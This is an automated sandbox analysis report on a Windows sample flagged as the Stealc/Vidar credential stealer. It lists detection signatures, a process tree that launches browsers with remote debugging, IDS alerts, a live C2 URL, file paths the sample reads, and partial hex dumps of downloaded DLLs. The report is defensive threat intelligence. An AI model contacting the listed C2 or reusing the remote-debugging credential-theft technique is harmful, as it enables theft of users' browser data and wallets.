Edit tour

Windows Analysis Report
random.exe

Overview

General Information

Sample name:	random.exe
Analysis ID:	1627181
MD5:	3891efe6cb01a588bd357679daed42f2
SHA1:	a323dd6222ffc317a392459b12b8445a54825241
SHA256:	c77e120dcf9aba1916abd916ee43658deef36e7003e4f74d2f0bf429deffe2f9
Tags:	exeStealcuser-aachum
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

random.exe (PID: 3568 cmdline: "C:\Users\user\Desktop\random.exe" MD5: 3891EFE6CB01A588BD357679DAED42F2)

chrome.exe (PID: 4552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2172,i,13624548520886742234,6380793912350541431,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2108,i,4490378392480787502,16725660642351328017,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2080,i,9613275274718560271,127289497229019134,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.93.20.28/85a1cacf11314eb8.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2561302948.0000000000101000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2149142454.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: random.exe PID: 3568	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: random.exe PID: 3568	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: random.exe PID: 3568	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: random.exe PID: 3568	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\random.exe", ParentImage: C:\Users\user\Desktop\random.exe, ParentProcessId: 3568, ParentProcessName: random.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 4552, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:20.700711+0100	2044245	1	Malware Command and Control Activity Detected	45.93.20.28	80	192.168.2.6	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:20.694003+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49710	45.93.20.28	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:20.924600+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49710	45.93.20.28	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:21.956339+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49710	45.93.20.28	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:20.932393+0100	2044247	1	Malware Command and Control Activity Detected	45.93.20.28	80	192.168.2.6	49710	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:20.464112+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	45.93.20.28	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-01T16:02:22.407300+0100	2803304	3	Unknown Traffic	192.168.2.6	49710	45.93.20.28	80	TCP
2025-03-01T16:02:46.391053+0100	2803304	3	Unknown Traffic	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:47.867253+0100	2803304	3	Unknown Traffic	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:48.559659+0100	2803304	3	Unknown Traffic	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:49.102822+0100	2803304	3	Unknown Traffic	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:50.808644+0100	2803304	3	Unknown Traffic	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:51.248255+0100	2803304	3	Unknown Traffic	192.168.2.6	49875	45.93.20.28	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: random.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://45.93.20.28/85a1cacf11314eb8.php"}

Multi AV Scanner detection for submitted file

Source: random.exe	Virustotal: Detection: 58%			Perma Link
Source: random.exe	ReversingLabs: Detection: 57%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C8D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C8D6C80

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49788 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50020 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: random.exe, 00000000.00000002.2569394854.000000006C93D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: random.exe, 00000000.00000002.2569394854.000000006C93D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 45.93.20.28:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 45.93.20.28:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.93.20.28:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 45.93.20.28:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.93.20.28:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 45.93.20.28:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://45.93.20.28/85a1cacf11314eb8.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
